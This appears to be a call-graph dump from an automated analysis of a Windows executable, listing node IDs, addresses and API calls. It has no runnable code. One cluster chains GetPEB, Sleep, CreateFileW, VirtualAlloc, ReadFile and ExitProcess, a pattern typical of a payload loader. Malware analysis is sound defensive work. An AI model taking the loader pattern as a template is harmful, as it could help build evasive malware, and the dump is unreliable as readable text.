CreateStreamOnHGlobal 92077->92151 92080->92075 92082 8b6abf 64 API calls 92081->92082 92083 8f48f2 92082->92083 92084 8b6a95 40 API calls 92083->92084 92084->92085 92085->91891 92088 8f491d 92087->92088 92089 8b6aa7 92087->92089 92184 8de854 92089->92184 92092 92281c 92205 92266c 92092->92205 92094 922837 92094->91899 92098 8de4c6 BuildCatchObjectHelperInternal 92095->92098 92096 8de4d4 92120 8df269 20 API calls _abort 92096->92120 92098->92096 92100 8de504 92098->92100 92099 8de4d9 92121 8e277c 26 API calls _abort 92099->92121 92102 8de509 92100->92102 92103 8de516 92100->92103 92122 8df269 20 API calls _abort 92102->92122 92112 8e8001 92103->92112 92106 8de51f 92107 8de525 92106->92107 92108 8de532 92106->92108 92123 8df269 20 API calls _abort 92107->92123 92124 8de564 RtlLeaveCriticalSection __fread_nolock 92108->92124 92110 8de4e4 __fread_nolock 92110->92064 92113 8e800d BuildCatchObjectHelperInternal 92112->92113 92125 8e2eee RtlEnterCriticalSection 92113->92125 92115 8e801b 92126 8e809b 92115->92126 92119 8e804c __fread_nolock 92119->92106 92120->92099 92121->92110 92122->92110 92123->92110 92124->92110 92125->92115 92133 8e80be 92126->92133 92127 8e8028 92139 8e8057 92127->92139 92128 8e8117 92144 8e4c0d 20 API calls 2 library calls 92128->92144 92130 8e8120 92132 8e2958 _free 20 API calls 92130->92132 92134 8e8129 92132->92134 92133->92127 92133->92128 92142 8d911d RtlEnterCriticalSection 92133->92142 92143 8d9131 RtlLeaveCriticalSection 92133->92143 92134->92127 92145 8e3395 11 API calls 2 library calls 92134->92145 92136 8e8148 92146 8d911d RtlEnterCriticalSection 92136->92146 92147 8e2f36 RtlLeaveCriticalSection 92139->92147 92141 8e805e 92141->92119 92142->92133 92143->92133 92144->92130 92145->92136 92146->92127 92147->92141 92149 8cfd5b 22 API calls 92148->92149 92150 8b70d4 92149->92150 92150->92074 92152 8b613c FindResourceExW 92151->92152 92156 8b6159 92151->92156 92153 8f42f1 LoadResource 92152->92153 92152->92156 92154 8f4306 SizeofResource 92153->92154 92153->92156 92155 8f431a LockResource 92154->92155 92154->92156 92155->92156 92156->92075 92158 8f493d 92157->92158 92159 8b6ace 92157->92159 92163 8dec73 92159->92163 92162->92081 92166 8dea3a 92163->92166 92165 8b6adc 92165->92075 92169 8dea46 BuildCatchObjectHelperInternal 92166->92169 92167 8dea52 92179 8df269 20 API calls _abort 92167->92179 92169->92167 92170 8dea78 92169->92170 92181 8d911d RtlEnterCriticalSection 92170->92181 92172 8dea57 92180 8e277c 26 API calls _abort 92172->92180 92173 8dea84 92182 8deb9a 62 API calls 2 library calls 92173->92182 92176 8dea98 92183 8deab7 RtlLeaveCriticalSection __fread_nolock 92176->92183 92178 8dea62 __fread_nolock 92178->92165 92179->92172 92180->92178 92181->92173 92182->92176 92183->92178 92187 8de871 92184->92187 92186 8b6ab8 92186->92092 92188 8de87d BuildCatchObjectHelperInternal 92187->92188 92189 8de8bd 92188->92189 92190 8de890 ___scrt_fastfail 92188->92190 92192 8de8b5 __fread_nolock 92188->92192 92202 8d911d RtlEnterCriticalSection 92189->92202 92200 8df269 20 API calls _abort 92190->92200 92192->92186 92193 8de8c7 92203 8de688 38 API calls 4 library calls 92193->92203 92196 8de8aa 92201 8e277c 26 API calls _abort 92196->92201 92197 8de8de 92204 8de8fc RtlLeaveCriticalSection __fread_nolock 92197->92204 92200->92196 92201->92192 92202->92193 92203->92197 92204->92192 92208 8de478 92205->92208 92207 92267b 92207->92094 92211 8de3f9 92208->92211 92210 8de495 92210->92207 92212 8de408 92211->92212 92214 8de41c 92211->92214 92219 8df269 20 API calls _abort 92212->92219 92218 8de418 __alldvrm 92214->92218 92221 8e32cf 11 API calls 2 library calls 92214->92221 92215 8de40d 92220 8e277c 26 API calls _abort 92215->92220 92218->92210 92219->92215 92220->92218 92221->92218 92223 8bbfd9 92222->92223 92227 8bbfcc 92222->92227 92224 8cfd5b 22 API calls 92223->92224 92225 8bbfe3 92224->92225 92226 8cfd8b 22 API calls 92225->92226 92226->92227 92227->91918 92228->91939 92229->91983 92230->91985 92231->92036 92233 8ddb51 92232->92233 92239 8ddb6d 92232->92239 92234 8ddb5d 92233->92234 92235 8ddb73 92233->92235 92233->92239 92256 8df269 20 API calls _abort 92234->92256 92253 8dd95c 92235->92253 92238 8ddb62 92257 8e277c 26 API calls _abort 92238->92257 92239->92047 92242 922f31 92241->92242 92243 922f1d SetFileTime CloseHandle 92241->92243 92242->92020 92243->92242 92246 922d98 92244->92246 92245 8b6a95 40 API calls 92245->92246 92246->92245 92247 92281c 27 API calls 92246->92247 92248 9228e2 92246->92248 92249 8b6abf 64 API calls 92246->92249 92247->92246 92248->92020 92250 8dd513 26 API calls 92248->92250 92249->92246 92250->92018 92251->92027 92252->92052 92258 8dd90b 92253->92258 92255 8dd980 92255->92239 92256->92238 92257->92239 92259 8dd917 BuildCatchObjectHelperInternal 92258->92259 92266 8d911d RtlEnterCriticalSection 92259->92266 92261 8dd925 92267 8dd984 92261->92267 92265 8dd943 __fread_nolock 92265->92255 92266->92261 92275 8e4931 92267->92275 92273 8dd932 92274 8dd950 RtlLeaveCriticalSection __fread_nolock 92273->92274 92274->92265 92276 8dd8e5 __fread_nolock 26 API calls 92275->92276 92277 8e4940 92276->92277 92278 8ef83c __fread_nolock 26 API calls 92277->92278 92279 8e4946 92278->92279 92280 8dd999 92279->92280 92296 8e37b0 21 API calls 2 library calls 92279->92296 92284 8dd9ca 92280->92284 92282 8e49a5 92283 8e2958 _free 20 API calls 92282->92283 92283->92280 92285 8dd9b4 92284->92285 92287 8dd9dc 92284->92287 92295 8e49e6 62 API calls 92285->92295 92286 8dd9ea 92297 8df269 20 API calls _abort 92286->92297 92287->92285 92287->92286 92292 8dda15 __fread_nolock 92287->92292 92289 8dd9ef 92298 8e277c 26 API calls _abort 92289->92298 92291 8ddb9b 62 API calls 92291->92292 92292->92285 92292->92291 92293 8dd8e5 __fread_nolock 26 API calls 92292->92293 92294 8e594e __wsopen_s 62 API calls 92292->92294 92293->92292 92294->92292 92295->92273 92296->92282 92297->92289 92298->92285 92299 90461c 92303 920fde 92299->92303 92301 904627 92302 920fde 53 API calls 92301->92302 92302->92301 92309 921018 92303->92309 92311 920feb 92303->92311 92304 92101a 92315 8cf9a5 53 API calls 92304->92315 92306 92101f 92307 8b8e90 53 API calls 92306->92307 92308 921026 92307->92308 92310 8b7cf8 22 API calls 92308->92310 92309->92301 92310->92309 92311->92304 92311->92306 92311->92309 92312 921012 92311->92312 92314 8bcb70 39 API calls 92312->92314 92314->92309 92315->92306 92316 8e83a2 92321 8e815e 92316->92321 92319 8e83ca 92326 8e818f try_get_first_available_module 92321->92326 92323 8e838e 92340 8e277c 26 API calls _abort 92323->92340 92325 8e82e3 92325->92319 92333 8f0925 92325->92333 92329 8e82d8 92326->92329 92336 8d8d9b 40 API calls 2 library calls 92326->92336 92328 8e832c 92328->92329 92337 8d8d9b 40 API calls 2 library calls 92328->92337 92329->92325 92339 8df269 20 API calls _abort 92329->92339 92331 8e834b 92331->92329 92338 8d8d9b 40 API calls 2 library calls 92331->92338 92341 8f0022 92333->92341 92335 8f0940 92335->92319 92336->92328 92337->92331 92338->92329 92339->92323 92340->92325 92344 8f002e BuildCatchObjectHelperInternal 92341->92344 92342 8f003c 92398 8df269 20 API calls _abort 92342->92398 92344->92342 92346 8f0075 92344->92346 92345 8f0041 92399 8e277c 26 API calls _abort 92345->92399 92352 8f05fc 92346->92352 92351 8f004b __fread_nolock 92351->92335 92353 8f0619 92352->92353 92354 8f062e 92353->92354 92355 8f0647 92353->92355 92415 8df256 20 API calls _abort 92354->92415 92401 8e51b1 92355->92401 92358 8f0633 92416 8df269 20 API calls _abort 92358->92416 92359 8f064c 92360 8f066c 92359->92360 92361 8f0655 92359->92361 92414 8f033b CreateFileW 92360->92414 92417 8df256 20 API calls _abort 92361->92417 92365 8f065a 92418 8df269 20 API calls _abort 92365->92418 92367 8f0722 GetFileType 92369 8f072d GetLastError 92367->92369 92370 8f0774 92367->92370 92368 8f06f7 GetLastError 92420 8df233 20 API calls __dosmaperr 92368->92420 92421 8df233 20 API calls __dosmaperr 92369->92421 92423 8e50fa 21 API calls 2 library calls 92370->92423 92371 8f06a5 92371->92367 92371->92368 92419 8f033b CreateFileW 92371->92419 92375 8f073b CloseHandle 92375->92358 92378 8f0764 92375->92378 92377 8f06ea 92377->92367 92377->92368 92422 8df269 20 API calls _abort 92378->92422 92379 8f0795 92381 8f07e1 92379->92381 92424 8f054c 72 API calls 3 library calls 92379->92424 92386 8f080e 92381->92386 92425 8f00ee 72 API calls 4 library calls 92381->92425 92382 8f0769 92382->92358 92385 8f0807 92385->92386 92387 8f081f 92385->92387 92388 8e864e __wsopen_s 29 API calls 92386->92388 92389 8f0099 92387->92389 92390 8f089d CloseHandle 92387->92390 92388->92389 92400 8f00c2 RtlLeaveCriticalSection __wsopen_s 92389->92400 92426 8f033b CreateFileW 92390->92426 92392 8f08c8 92393 8f08fe 92392->92393 92394 8f08d2 GetLastError 92392->92394 92393->92389 92427 8df233 20 API calls __dosmaperr 92394->92427 92396 8f08de 92428 8e52c3 21 API calls 2 library calls 92396->92428 92398->92345 92399->92351 92400->92351 92402 8e51bd BuildCatchObjectHelperInternal 92401->92402 92429 8e2eee RtlEnterCriticalSection 92402->92429 92404 8e520b 92430 8e52ba 92404->92430 92406 8e51c4 92406->92404 92407 8e51e9 92406->92407 92411 8e5257 RtlEnterCriticalSection 92406->92411 92433 8e4f90 21 API calls 3 library calls 92407->92433 92408 8e5234 __fread_nolock 92408->92359 92410 8e51ee 92410->92404 92434 8e50d7 RtlEnterCriticalSection 92410->92434 92411->92404 92412 8e5264 RtlLeaveCriticalSection 92411->92412 92412->92406 92414->92371 92415->92358 92416->92389 92417->92365 92418->92358 92419->92377 92420->92358 92421->92375 92422->92382 92423->92379 92424->92381 92425->92385 92426->92392 92427->92396 92428->92393 92429->92406 92435 8e2f36 RtlLeaveCriticalSection 92430->92435 92432 8e52c1 92432->92408 92433->92410 92434->92404 92435->92432 92436 8bf7e5 92439 8bd010 92436->92439 92440 8bd02b 92439->92440 92441 900d21 92440->92441 92442 900cd3 92440->92442 92464 8bd050 92440->92464 92477 9357c9 94 API calls 2 library calls 92441->92477 92445 900cdd 92442->92445 92447 900cea 92442->92447 92442->92464 92475 935c5a 94 API calls 92445->92475 92461 8bd320 92447->92461 92476 9360f7 94 API calls 2 library calls 92447->92476 92452 8cdab2 40 API calls 92452->92464 92453 900fb4 92453->92453 92455 8bd34e 92457 900efd 92480 935b33 82 API calls 92457->92480 92460 8bc117 41 API calls 92460->92464 92461->92455 92481 9234ba 82 API calls __wsopen_s 92461->92481 92464->92452 92464->92455 92464->92457 92464->92460 92464->92461 92465 8bd4e0 40 API calls 92464->92465 92466 8bc1c3 22 API calls 92464->92466 92468 8cda6c 40 API calls 92464->92468 92469 8d01c2 5 API calls __Init_thread_wait 92464->92469 92470 8b13dc 22 API calls 92464->92470 92471 8d0023 29 API calls __onexit 92464->92471 92472 8d0178 RtlEnterCriticalSection RtlLeaveCriticalSection SetEvent ResetEvent 92464->92472 92473 8cec9e 82 API calls 92464->92473 92474 8ce596 83 API calls 92464->92474 92478 8bc5e7 23 API calls messages 92464->92478 92479 90f5a8 23 API calls 92464->92479 92465->92464 92466->92464 92468->92464 92469->92464 92470->92464 92471->92464 92472->92464 92473->92464 92474->92464 92475->92447 92476->92461 92477->92464 92478->92464 92479->92464 92480->92461 92481->92453 92482 be2310 92496 bdff60 92482->92496 92484 be23c1 92499 be2200 92484->92499 92486 be23ea CreateFileW 92488 be243e 92486->92488 92489 be2439 92486->92489 92488->92489 92490 be2455 VirtualAlloc 92488->92490 92490->92489 92491 be2473 ReadFile 92490->92491 92491->92489 92492 be248e 92491->92492 92493 be1200 13 API calls 92492->92493 92494 be24c1 92493->92494 92495 be24e4 ExitProcess 92494->92495 92495->92489 92498 be05eb 92496->92498 92502 be33f0 GetPEB 92496->92502 92498->92484 92500 be2209 Sleep 92499->92500 92501 be2217 92500->92501 92502->92498 92503 8b1044 92508 8b29fe 92503->92508 92505 8b104a 92544 8d0023 29 API calls __onexit 92505->92544 92507 8b1054 92545 8b2ca3 92508->92545 92512 8b2a75 92513 8bc25d 22 API calls 92512->92513 92514 8b2a7f 92513->92514 92515 8bc25d 22 API calls 92514->92515 92516 8b2a89 92515->92516 92517 8bc25d 22 API calls 92516->92517 92518 8b2a93 92517->92518 92519 8bc25d 22 API calls 92518->92519 92520 8b2ad1 92519->92520 92521 8bc25d 22 API calls 92520->92521 92522 8b2b9d 92521->92522 92555 8b3027 92522->92555 92526 8b2bcf 92527 8bc25d 22 API calls 92526->92527 92528 8b2bd9 92527->92528 92529 8c3220 9 API calls 92528->92529 92530 8b2c04 92529->92530 92576 8b33b6 92530->92576 92532 8b2c20 92533 8b2c30 GetStdHandle 92532->92533 92534 8f3011 92533->92534 92535 8b2c85 92533->92535 92534->92535 92536 8f301a 92534->92536 92538 8b2c92 OleInitialize 92535->92538 92537 8cfd5b 22 API calls 92536->92537 92539 8f3021 92537->92539 92538->92505 92583 92003b InitializeCriticalSectionAndSpinCount InterlockedExchange GetCurrentProcess GetCurrentProcess DuplicateHandle 92539->92583 92541 8f302a 92584 920862 CreateThread 92541->92584 92543 8f3036 CloseHandle 92543->92535 92544->92507 92585 8b2cfc 92545->92585 92548 8b2cfc 22 API calls 92549 8b2cdb 92548->92549 92550 8bc25d 22 API calls 92549->92550 92551 8b2ce7 92550->92551 92552 8b84e7 22 API calls 92551->92552 92553 8b2a34 92552->92553 92554 8b34ce 6 API calls 92553->92554 92554->92512 92556 8bc25d 22 API calls 92555->92556 92557 8b3037 92556->92557 92558 8bc25d 22 API calls 92557->92558 92559 8b303f 92558->92559 92560 8bc25d 22 API calls 92559->92560 92561 8b305a 92560->92561 92562 8cfd5b 22 API calls 92561->92562 92563 8b2ba7 92562->92563 92564 8b3455 92563->92564 92565 8b3463 92564->92565 92566 8bc25d 22 API calls 92565->92566 92567 8b346e 92566->92567 92568 8bc25d 22 API calls 92567->92568 92569 8b3479 92568->92569 92570 8bc25d 22 API calls 92569->92570 92571 8b3484 92570->92571 92572 8bc25d 22 API calls 92571->92572 92573 8b348f 92572->92573 92574 8cfd5b 22 API calls 92573->92574 92575 8b34a1 RegisterClipboardFormatW 92574->92575 92575->92526 92577 8f32b9 92576->92577 92578 8b33c6 92576->92578 92592 923127 23 API calls 92577->92592 92580 8cfd5b 22 API calls 92578->92580 92582 8b33ce 92580->92582 92581 8f32c4 92582->92532 92583->92541 92584->92543 92593 920848 28 API calls 92584->92593 92586 8bc25d 22 API calls 92585->92586 92587 8b2d07 92586->92587 92588 8bc25d 22 API calls 92587->92588 92589 8b2d0f 92588->92589 92590 8bc25d 22 API calls 92589->92590 92591 8b2cd1 92590->92591 92591->92548 92592->92581 92594 8b1098 92599 8b615e 92594->92599 92598 8b10a7 92600 8bc25d 22 API calls 92599->92600 92601 8b6175 GetVersionExW 92600->92601 92602 8b84e7 22 API calls 92601->92602 92603 8b61c2 92602->92603 92604 8bad22 22 API calls 92603->92604 92618 8b61f8 92603->92618 92605 8b61ec 92604->92605 92620 8b562b 92605->92620 92606 8b629b GetCurrentProcess IsWow64Process 92608 8b62b7 92606->92608 92609 8f455b GetSystemInfo 92608->92609 92610 8b62cf LoadLibraryA 92608->92610 92611 8b631c GetSystemInfo 92610->92611 92612 8b62e0 GetProcAddress 92610->92612 92613 8b62f6 92611->92613 92612->92611 92615 8b62f0 GetNativeSystemInfo 92612->92615 92616 8b62fa FreeLibrary 92613->92616 92617 8b109d 92613->92617 92614 8f4516 92615->92613 92616->92617 92619 8d0023 29 API calls __onexit 92617->92619 92618->92606 92618->92614 92619->92598 92621 8b5639 92620->92621 92622 8bad22 22 API calls 92621->92622 92623 8b564d 92622->92623 92623->92618 92624 8c10bf 92625 8c15b6 92624->92625 92626 8c10d3 92624->92626 92645 8bc5e7 23 API calls messages 92625->92645 92627 8c15c2 92626->92627 92629 8cfd5b 22 API calls 92626->92629 92646 8bc5e7 23 API calls messages 92627->92646 92631 8c10e5 92629->92631 92631->92627 92632 8c113e 92631->92632 92633 8c163d 92631->92633 92635 8c2c10 185 API calls 92632->92635 92641 8c069d messages 92632->92641 92647 921073 22 API calls 92633->92647 92644 8c05f4 messages 92635->92644 92636 9052e7 92648 9234ba 82 API calls __wsopen_s 92636->92648 92638 8cfd5b 22 API calls 92638->92644 92639 9057f5 92640 9051db 92640->92641 92643 8bc1c3 22 API calls 92640->92643 92642 8bc1c3 22 API calls 92642->92644 92643->92641 92644->92636 92644->92638 92644->92640 92644->92641 92644->92642 92645->92627 92646->92633 92647->92641 92648->92639 92649 8d037b 92650 8d0387 BuildCatchObjectHelperInternal 92649->92650 92681 8cfe31 92650->92681 92652 8d038e 92653 8d04e1 92652->92653 92656 8d03b8 92652->92656 92719 8d07bf IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 92653->92719 92655 8d04e8 92720 8d4de2 28 API calls _abort 92655->92720 92670 8d03f7 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 92656->92670 92692 8e240d 92656->92692 92658 8d04ee 92721 8d4d94 28 API calls _abort 92658->92721 92662 8d04f6 92722 8d0a6a GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter ___get_entropy 92662->92722 92663 8d03d7 92666 8d04fc __scrt_common_main_seh 92667 8d0458 92700 8d08d9 92667->92700 92669 8d045e 92704 8b368b 92669->92704 92670->92667 92715 8d4daa 38 API calls 2 library calls 92670->92715 92675 8d047a 92675->92655 92676 8d047e 92675->92676 92677 8d0487 92676->92677 92717 8d4d85 28 API calls _abort 92676->92717 92718 8cffc0 13 API calls 2 library calls 92677->92718 92680 8d048f 92680->92663 92682 8cfe3a 92681->92682 92723 8d0618 IsProcessorFeaturePresent 92682->92723 92684 8cfe46 92724 8d2c24 10 API calls 3 library calls 92684->92724 92686 8cfe4b 92691 8cfe4f 92686->92691 92725 8e22a7 IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 92686->92725 92688 8cfe58 92689 8cfe66 92688->92689 92726 8d2c4d 8 API calls 3 library calls 92688->92726 92689->92652 92691->92652 92694 8e2424 92692->92694 92693 8d0a0c __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 92695 8d03d1 92693->92695 92694->92693 92695->92663 92696 8e23b1 92695->92696 92699 8e23e0 92696->92699 92697 8d0a0c __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 92698 8e2409 92697->92698 92698->92670 92699->92697 92727 8d22d0 92700->92727 92703 8d08ff 92703->92669 92705 8b3697 745EC8D0 92704->92705 92706 8b36f2 92704->92706 92729 8d4ed3 92705->92729 92716 8d0912 GetModuleHandleW 92706->92716 92708 8b36c2 92735 8d4f39 92708->92735 92710 8b36c9 92742 8b3656 SystemParametersInfoW SystemParametersInfoW 92710->92742 92712 8b36d0 92743 8b445d 92712->92743 92714 8b36d8 SystemParametersInfoW 92714->92706 92715->92667 92716->92675 92717->92677 92718->92680 92719->92655 92720->92658 92721->92662 92722->92666 92723->92684 92724->92686 92725->92688 92726->92691 92728 8d08ec GetStartupInfoW 92727->92728 92728->92703 92730 8d4edf BuildCatchObjectHelperInternal 92729->92730 92792 8e2eee RtlEnterCriticalSection 92730->92792 92732 8d4eea pre_c_initialization 92793 8d4f2a 92732->92793 92734 8d4f1f __fread_nolock 92734->92708 92736 8d4f5f 92735->92736 92737 8d4f45 92735->92737 92736->92710 92737->92736 92797 8df269 20 API calls _abort 92737->92797 92739 8d4f4f 92798 8e277c 26 API calls _abort 92739->92798 92741 8d4f5a 92741->92710 92742->92712 92744 8b446d __wsopen_s 92743->92744 92745 8bc25d 22 API calls 92744->92745 92746 8b4479 GetCurrentDirectoryW 92745->92746 92799 8b4862 92746->92799 92748 8b44a0 IsDebuggerPresent 92749 8f370f MessageBoxA 92748->92749 92750 8b44ae 92748->92750 92751 8f3727 92749->92751 92750->92751 92752 8b44cb 92750->92752 92913 8b8f2c 22 API calls 92751->92913 92878 8b480e 92752->92878 92756 8b44ea GetFullPathNameW 92757 8b84e7 22 API calls 92756->92757 92758 8b4529 92757->92758 92892 8b36fb 92758->92892 92759 8b453d 92761 8f3764 SetCurrentDirectoryW 92759->92761 92762 8b4545 92759->92762 92761->92762 92763 8b4550 92762->92763 92914 9115a7 AllocateAndInitializeSid CheckTokenMembership FreeSid 92762->92914 92908 8b45ae 7 API calls 92763->92908 92766 8f377f 92766->92763 92769 8f3791 92766->92769 92915 8b58e5 92769->92915 92770 8b455a 92773 8b56c2 49 API calls 92770->92773 92777 8b456f 92770->92777 92772 8f379a 92774 8bb606 22 API calls 92772->92774 92773->92777 92775 8f37a8 92774->92775 92778 8f37d7 92775->92778 92779 8f37b0 92775->92779 92776 8b458a 92781 8b4591 SetCurrentDirectoryW 92776->92781 92777->92776 92912 8b4b1d Shell_NotifyIconW ___scrt_fastfail 92777->92912 92782 8b52b7 22 API calls 92778->92782 92783 8b52b7 22 API calls 92779->92783 92784 8b45a5 92781->92784 92785 8f37d3 GetForegroundWindow ShellExecuteW 92782->92785 92786 8f37bb 92783->92786 92784->92714 92789 8f3808 92785->92789 92788 8b7cf8 22 API calls 92786->92788 92790 8f37c9 92788->92790 92789->92776 92791 8b52b7 22 API calls 92790->92791 92791->92785 92792->92732 92796 8e2f36 RtlLeaveCriticalSection 92793->92796 92795 8d4f31 92795->92734 92796->92795 92797->92739 92798->92741 92800 8bc25d 22 API calls 92799->92800 92801 8b4878 92800->92801 92922 8b6485 92801->92922 92803 8b4896 92804 8b58e5 24 API calls 92803->92804 92805 8b48aa 92804->92805 92806 8bb606 22 API calls 92805->92806 92807 8b48b7 92806->92807 92808 8b686d 94 API calls 92807->92808 92809 8b48d0 92808->92809 92810 8b48d8 92809->92810 92811 8f3892 92809->92811 92814 8bc1c3 22 API calls 92810->92814 92966 922c17 92811->92966 92813 8f38a5 92815 8f38b1 92813->92815 92817 8b68db 68 API calls 92813->92817 92816 8b48ee 92814->92816 92820 8b68db 68 API calls 92815->92820 92936 8b890f 92816->92936 92817->92815 92822 8f38c7 92820->92822 92821 8bb606 22 API calls 92823 8b4907 92821->92823 92825 8b4aaf 22 API calls 92822->92825 92824 8bc117 41 API calls 92823->92824 92826 8b4917 92824->92826 92827 8f38e4 92825->92827 92828 8bb606 22 API calls 92826->92828 92829 8b4aaf 22 API calls 92827->92829 92830 8b493d 92828->92830 92831 8f3900 92829->92831 92832 8bc117 41 API calls 92830->92832 92833 8b58e5 24 API calls 92831->92833 92834 8b494c 92832->92834 92835 8f3926 92833->92835 92837 8bc25d 22 API calls 92834->92837 92836 8b4aaf 22 API calls 92835->92836 92838 8f3932 92836->92838 92839 8b496a 92837->92839 92840 8bc1c3 22 API calls 92838->92840 92939 8b4aaf 92839->92939 92842 8f3940 92840->92842 92843 8b4aaf 22 API calls 92842->92843 92845 8f394f 92843->92845 92849 8bc1c3 22 API calls 92845->92849 92847 8b4984 92847->92822 92848 8b498e 92847->92848 92850 8d49b8 _strftime 40 API calls 92848->92850 92851 8f3965 92849->92851 92852 8b4999 92850->92852 92853 8b4aaf 22 API calls 92851->92853 92852->92827 92854 8b49a3 92852->92854 92855 8f3972 92853->92855 92856 8d49b8 _strftime 40 API calls 92854->92856 92857 8b49ae 92856->92857 92857->92831 92858 8b49b8 92857->92858 92859 8d49b8 _strftime 40 API calls 92858->92859 92860 8b49c3 92859->92860 92861 8b4a07 92860->92861 92863 8b4aaf 22 API calls 92860->92863 92861->92845 92862 8b4a13 92861->92862 92862->92855 92865 8b7d93 22 API calls 92862->92865 92864 8b49ea 92863->92864 92866 8bc1c3 22 API calls 92864->92866 92867 8b4a23 92865->92867 92868 8b49f8 92866->92868 92869 8b83e0 22 API calls 92867->92869 92870 8b4aaf 22 API calls 92868->92870 92871 8b4a31 92869->92871 92870->92861 92955 8b8a30 92871->92955 92873 8b890f 22 API calls 92875 8b4a4c 92873->92875 92874 8b8a30 23 API calls 92874->92875 92875->92873 92875->92874 92876 8b4a90 92875->92876 92877 8b4aaf 22 API calls 92875->92877 92876->92748 92877->92875 92879 8b481b __wsopen_s 92878->92879 92880 8f380d ___scrt_fastfail 92879->92880 92881 8b4834 92879->92881 92887 8b84e7 22 API calls 92880->92887 93004 8b592d 92881->93004 92889 8f388d 92887->92889 92888 8b4852 93032 8b6328 92888->93032 92889->92889 92893 8b3708 __wsopen_s 92892->92893 93232 8b5ce6 92893->93232 92895 8b370d 92907 8b3787 92895->92907 93243 8b3c08 82 API calls 92895->93243 92897 8b371a 92897->92907 93244 8b3a6d 84 API calls 92897->93244 92899 8b3723 92900 8b3727 GetFullPathNameW 92899->92900 92899->92907 92901 8b84e7 22 API calls 92900->92901 92902 8b3753 92901->92902 92903 8b84e7 22 API calls 92902->92903 92904 8b3760 92903->92904 92905 8f3323 92904->92905 92906 8b84e7 22 API calls 92904->92906 92906->92907 92907->92759 93249 8b46ff GetSysColorBrush RegisterClassExW RegisterClipboardFormatW 92908->93249 92911 8b468e CreateWindowExW CreateWindowExW ShowWindow ShowWindow 92911->92770 92912->92776 92913->92759 92914->92766 92916 8f1ef0 __wsopen_s 92915->92916 92917 8b58f2 GetModuleFileNameW 92916->92917 92918 8bb606 22 API calls 92917->92918 92919 8b5918 92918->92919 92920 8b592d 23 API calls 92919->92920 92921 8b5922 92920->92921 92921->92772 92923 8b6492 __wsopen_s 92922->92923 92924 8b84e7 22 API calls 92923->92924 92925 8b64c4 92923->92925 92924->92925 92926 8b660f 22 API calls 92925->92926 92931 8b64fa 92925->92931 92926->92925 92927 8b660f 22 API calls 92927->92931 92928 8b65cb 92929 8b6600 92928->92929 92930 8bb606 22 API calls 92928->92930 92929->92803 92933 8b65f4 92930->92933 92931->92927 92931->92928 92932 8bb606 22 API calls 92931->92932 92992 8b6aff 92931->92992 92932->92931 92934 8b6aff 22 API calls 92933->92934 92934->92929 92937 8cfd5b 22 API calls 92936->92937 92938 8b48fa 92937->92938 92938->92821 92940 8b4ab9 92939->92940 92941 8b4ad7 92939->92941 92942 8b4976 92940->92942 92944 8bc1c3 22 API calls 92940->92944 92943 8b84e7 22 API calls 92941->92943 92945 8d49b8 92942->92945 92943->92942 92944->92942 92946 8d4a3b 92945->92946 92947 8d49c6 92945->92947 93000 8d4a4d 40 API calls 4 library calls 92946->93000 92951 8d49eb 92947->92951 92998 8df269 20 API calls _abort 92947->92998 92950 8d4a48 92950->92847 92951->92847 92952 8d49d2 92999 8e277c 26 API calls _abort 92952->92999 92954 8d49dd 92954->92847 92956 8b8a46 92955->92956 92957 8f58e4 92956->92957 92962 8b8a50 92956->92962 93001 8b21a5 22 API calls 92957->93001 92958 8f58f1 93002 8bc5e7 23 API calls messages 92958->93002 92961 8f590f 92961->92961 92962->92958 92963 8b8b64 92962->92963 92965 8b8b6b 92962->92965 92964 8cfd5b 22 API calls 92963->92964 92964->92965 92965->92875 92967 922c33 92966->92967 92968 8b6abf 64 API calls 92967->92968 92969 922c47 92968->92969 92970 922d84 75 API calls 92969->92970 92971 922c59 92970->92971 92972 8b6a95 40 API calls 92971->92972 92989 922c5d 92971->92989 92973 922c74 92972->92973 92974 8b6a95 40 API calls 92973->92974 92975 922c84 92974->92975 92976 8b6a95 40 API calls 92975->92976 92977 922c9f 92976->92977 92978 8b6a95 40 API calls 92977->92978 92979 922cba 92978->92979 92980 8b6abf 64 API calls 92979->92980 92981 922cd1 92980->92981 92982 8de99c ___std_exception_copy 21 API calls 92981->92982 92983 922cd8 92982->92983 92984 8de99c ___std_exception_copy 21 API calls 92983->92984 92985 922ce2 92984->92985 92986 8b6a95 40 API calls 92985->92986 92987 922cf6 92986->92987 92988 92281c 27 API calls 92987->92988 92990 922d0c 92988->92990 92989->92813 92990->92989 93003 9221ec 79 API calls 92990->93003 92993 8b6b0e 92992->92993 92997 8b6b2f __fread_nolock 92992->92997 92995 8cfd8b 22 API calls 92993->92995 92994 8cfd5b 22 API calls 92996 8b6b42 92994->92996 92995->92997 92996->92931 92997->92994 92998->92952 92999->92954 93000->92950 93001->92958 93002->92961 93003->92989 93062 8f1ef0 93004->93062 93007 8b5959 93009 8b84e7 22 API calls 93007->93009 93008 8b5974 93010 8bbfbf 22 API calls 93008->93010 93011 8b5965 93009->93011 93010->93011 93012 8b562b 22 API calls 93011->93012 93013 8b483d 93012->93013 93014 8b47d0 93013->93014 93015 8f1ef0 __wsopen_s 93014->93015 93016 8b47dd GetLongPathNameW 93015->93016 93017 8b84e7 22 API calls 93016->93017 93018 8b4805 93017->93018 93019 8b5489 93018->93019 93020 8bc25d 22 API calls 93019->93020 93021 8b549b 93020->93021 93022 8b592d 23 API calls 93021->93022 93023 8b54a6 93022->93023 93024 8f404a 93023->93024 93025 8b54b1 93023->93025 93029 8f406c 93024->93029 93070 8cd5dc 41 API calls 93024->93070 93027 8b6aff 22 API calls 93025->93027 93028 8b54bd 93027->93028 93064 8b285a 93028->93064 93031 8b54d0 93031->92888 93033 8b686d 94 API calls 93032->93033 93034 8b634d 93033->93034 93035 8f456a 93034->93035 93036 8b686d 94 API calls 93034->93036 93037 922c17 80 API calls 93035->93037 93038 8b6361 93036->93038 93039 8f457f 93037->93039 93038->93035 93040 8b6369 93038->93040 93041 8f4583 93039->93041 93042 8f45a0 93039->93042 93044 8f458b 93040->93044 93045 8b6375 